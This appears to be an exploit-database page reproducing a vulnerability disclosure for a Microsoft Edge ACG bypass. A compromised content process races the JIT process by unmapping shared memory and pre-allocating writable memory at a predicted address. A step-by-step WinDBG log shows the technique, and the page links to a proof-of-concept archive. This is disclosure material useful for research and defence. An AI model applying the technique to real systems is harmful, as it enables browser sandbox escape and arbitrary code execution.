Microsoft Edge UnmapViewOfFile ACG Bypass

▸▸▸ Exploit & Vulnerability >>   dos exploit & windows vulnerability




Microsoft Edge UnmapViewOfFile ACG Bypass Code Code...
				
Background: To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97), Edge uses a separate process for JIT compiling. This JIT Process is also responsible for mapping native code into the requesting Content Process. In order to be able to write JITted (executable) data into the Content Process, JIT Process does the following: 1. It creates a shared memory object using CreateFileMapping() 2. It maps it into Content Process as PAGE_EXECUTE_READ and in the JIT proces as PAGE_READWRITE using MapViewOfFile2(). At this point the memory is reserved, but not yet committed. 3. When individual pages need to be written to they are first allocated from the region in step 2 using VirtualAllocEx(). This also marks the memory as committed. The issue: If a content process is compromised and the content process can predict on which address JIT process is going to call VirtualAllocEx() next (note: it is fairly predictable), content process can: 1. Unmap the shared memory mapped above above using UnmapViewOfFile() 2. Allocate a writable memory region on the same address JIT server is going to write and write an soon-to-be-executable payload there. 3. When JIT process calls VirtualAllocEx(), even though the memory is already allocated, the call is going to succeed and the memory protection is going to be set to PAGE_EXECUTE_READ. Note #1: The content written in step 2 is going to survive the memory protection change. Note #2: JIT server is going to write the JITted payload into its own "side" of the shared memory, so the content in the Content Process is not going to get immediately overwritten. See the debug log below for a demonstration. Debug log: Let's attach one instance of WinDBG to JIT process and another to a Content Process. Let's also verify that ACG is indeed applied for the Content Process. We can do this using Get-ProcessMitigation PowerShell command. See the output in the screenshot (note the "BlockDynamicCode: ON" field). Now, in JIT Process, let's set a breakpoint on VirtualAllocEx() and wait. 0:020> bp kernelbase!virtualallocex 0:020> g Soon the breakpoint is hit. Breakpoint 0 hit KERNELBASE!VirtualAllocEx: 00007fff`5590e170 4883ec38 sub rsp,38h We can examine the call stack to see where we are - we see we are in the Encode phase of ServerRemoteCodeGen() which is a function that Content Process calls on the JIT server when it wants to JIT a function or a loop body. 0:011> k # Child-SP RetAddr Call Site 00 000000c2`48cfcfe8 00007fff`4dff3104 KERNELBASE!VirtualAllocEx 01 000000c2`48cfcff0 00007fff`38752dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14 02 000000c2`48cfd030 00007fff`38752a16 chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5 03 000000c2`48cfd0b0 00007fff`3875233e chakra!Memory::PageSegmentBase::AllocDecommitPages,1>+0xea 04 000000c2`48cfd150 00007fff`38752464 chakra!Memory::PageAllocatorBase,Memory::PageSegmentBase >::TryAllocDecommittedPages<1>+0x8e 05 000000c2`48cfd210 00007fff`38751e7a chakra!Memory::PageAllocatorBase,Memory::PageSegmentBase >::SnailAllocPages<1>+0x4c 06 000000c2`48cfd2d0 00007fff`38751488 chakra!Memory::CustomHeap::CodePageAllocators::AllocPages+0x72 07 000000c2`48cfd340 00007fff`38751210 chakra!Memory::CustomHeap::Heap::AllocNewPage+0x68 08 000000c2`48cfd3c0 00007fff`38750e14 chakra!Memory::CustomHeap::Heap::Alloc+0x9c 09 000000c2`48cfd470 00007fff`38750cae chakra!EmitBufferManager::NewAllocation+0x58 0a 000000c2`48cfd500 00007fff`388599dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e 0b 000000c2`48cfd590 00007fff`388a5506 chakra!Encoder::Encode+0x9dc 0c 000000c2`48cfd710 00007fff`389904e5 chakra!Func::TryCodegen+0x356 0d 000000c2`48cfdfb0 00007fff`3877c00e chakra!Func::Codegen+0xed 0e 000000c2`48cfe3e0 00007fff`3877be54 chakra!::operator()+0x166 0f 000000c2`48cfe500 00007fff`3877bde2 chakra!ServerCallWrapper< >+0x54 10 000000c2`48cfe550 00007fff`3877bd85 chakra!ServerCallWrapper< >+0x4e 11 000000c2`48cfe5c0 00007fff`57006d13 chakra!ServerRemoteCodeGen+0x75 12 000000c2`48cfe630 00007fff`57069390 RPCRT4!Invoke+0x73 13 000000c2`48cfe690 00007fff`56f93718 RPCRT4!Ndr64StubWorker+0xbb0 14 000000c2`48cfed40 00007fff`56fb73b4 RPCRT4!NdrServerCallNdr64+0x38 15 000000c2`48cfed90 00007fff`56fb654e RPCRT4!DispatchToStubInCNoAvrf+0x24 16 000000c2`48cfede0 00007fff`56fb6f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be 17 000000c2`48cfeeb0 00007fff`56fc0693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154 18 000000c2`48cfef50 00007fff`56fc1396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183 19 000000c2`48cff030 00007fff`56fbd11e RPCRT4!LRPC_SCALL::HandleRequest+0x996 1a 000000c2`48cff140 00007fff`56fbe843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e 1b 000000c2`48cff1f0 00007fff`56fecc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3 1c 000000c2`48cff330 00007fff`594665ae RPCRT4!LrpcIoComplete+0xd8 1d 000000c2`48cff3d0 00007fff`594aeed9 ntdll!TppAlpcpExecuteCallback+0x22e 1e 000000c2`48cff450 00007fff`5946471c ntdll!TppDirectExecuteCallback+0xb9 1f 000000c2`48cff4c0 00007fff`57ea1fe4 ntdll!TppWorkerThread+0x47c 20 000000c2`48cff850 00007fff`5949ef91 KERNEL32!BaseThreadInitThunk+0x14 21 000000c2`48cff880 00000000`00000000 ntdll!RtlUserThreadStart+0x21 If we examine the registers we see the second param is 000002854f18c000 - this is the address VirtualAllocEx() is attempting to allocate. 0:011> r rax=0000000040000010 rbx=000002854f18c000 rcx=0000000000000724 rdx=000002854f18c000 rsi=0000000000000008 rdi=0000024038924de0 rip=00007fff5590e170 rsp=000000c248cfcfe8 rbp=0000024038924fe8 r8=0000000000001000 r9=0000000000001000 r10=0000000000000001 r11=0000000000000007 r12=000002854f18c000 r13=0000000000000000 r14=000000000000000c r15=0000000000000000 Let's leave the JIT Process alone for a while and move into the Content Process. Let's examine the memory around address 000002854f18c000 using !vadump: BaseAddress: 000002854f100000 RegionSize: 0000000000017000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f117000 RegionSize: 0000000000001000 State: 00001000 MEM_COMMIT Protect: 00000001 PAGE_NOACCESS Type: 00040000 MEM_MAPPED BaseAddress: 000002854f118000 RegionSize: 0000000000074000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f18c000 RegionSize: 0000000000004000 State: 00002000 MEM_RESERVE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f190000 RegionSize: 0000000000010000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED We see some executable memory regions starting from 000002854f100000 which happens to be the base address of the shared memory in the Content Process. Let's unmap it. 0:084> r rip=kernelbase!unmapviewoffile 0:084> r rcx=000002854f100000 After unmapping it, let's allocate the desired address and set it to PAGE_READWRITE so that we can write to it. 0:084> r rip=kernelbase!virtualalloc 0:084> r rcx=000002854f18c000 # desired address 0:084> r rdx=1000 # size 0:084> r r8=3000 # MEM_RESERVE | MEM_COMMIT 0:084> r r9=4 # PAGE_READWRITE After VirtualAlloc() finishes, we can see it returned 000002854f180000 0:084> r rax rax=000002854f180000 The returned address is a bit lower than the one we requested, but it doesn't matter since the allocated region is also going to be larger than we requested so it's going to cover the desired address. Let's take a look at the memory map again: BaseAddress: 000002854f100000 RegionSize: 0000000000080000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS BaseAddress: 000002854f180000 RegionSize: 000000000000d000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18d000 RegionSize: 000000000ff73000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS We can see that at address 000002854f180000 there is a region of size 000000000000d000 that has PAGE_READWRITE access. Since we can now write to this address, let's do it: 0:084> ea 000002854f18c000 "ACG bypass" Now, let's go back to the JIT Server process and let VirtualAllocEx() finish. Once it does, let's go back into the Content Process and examine the memory again: BaseAddress: 000002854f100000 RegionSize: 0000000000080000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS BaseAddress: 000002854f180000 RegionSize: 000000000000c000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18c000 RegionSize: 0000000000001000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18d000 RegionSize: 000000000ff73000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS We can now see some changes, specifically at address 000002854f18c000 there is now an executable memory region (PAGE_EXECUTE). Now we just need to make sure the content we wrote earlier is still there.\n 0:084> da 000002854f18c000\n 00000285`4f18c000 "ACG bypass"\n That's it. We now have an executable page with the content we control, thus bypassing ACG.\n A screenshot of WinDBG showing this final step is attached.\n Proof of Concept:\n https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44096.zip\n

Microsoft Edge UnmapViewOfFile ACG Bypass Vulnerability / Exploit Source : Microsoft Edge UnmapViewOfFile ACG Bypass



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.